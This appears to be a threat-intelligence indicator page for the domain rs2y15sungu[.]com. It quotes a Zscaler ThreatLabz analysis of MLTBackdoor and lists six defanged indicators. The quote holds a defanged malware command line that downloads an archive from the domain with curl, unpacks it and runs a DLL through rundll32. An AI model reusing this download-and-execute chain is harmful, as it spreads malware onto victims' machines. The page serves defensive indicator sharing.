rs2y15sungu[.]comDomain

Reported by 1 independent source · first reported 9 Jun 2026 by Zscaler ThreatLabz · last reported 9 Jun 2026

Last reported 4 months ago

What the reports say

1 report, newest first · the exact sentence from each

“… --headless cmd /c "md C:\users\<usr>\AppData\Local\Temp\x&curl -skLo C:\users\<usr>\AppData\Local\Temp\x\t hxxps://rs2y15sungu[.]com/d&pushd C:\users\<usr>\AppData\Local\Temp\x&tar xf t&del t&rundll32 endpointdlp.dll,#2"The downloaded file, re…”

Zscaler ThreatLabzVendor9 Jun 2026
Technical Analysis of MLTBackdoor

named in the same reports

Copy these 6 indicators · defanged

6 indicators, defanged, one per line

capabilities[.]in
cwrtwright[.]com
machine[.]ls
types[.]as
c2.powwowski[.]com
hxxps://rs2y15sungu[.]com/d&amp;pushd

Thanks — we review every report.

Report a wrong value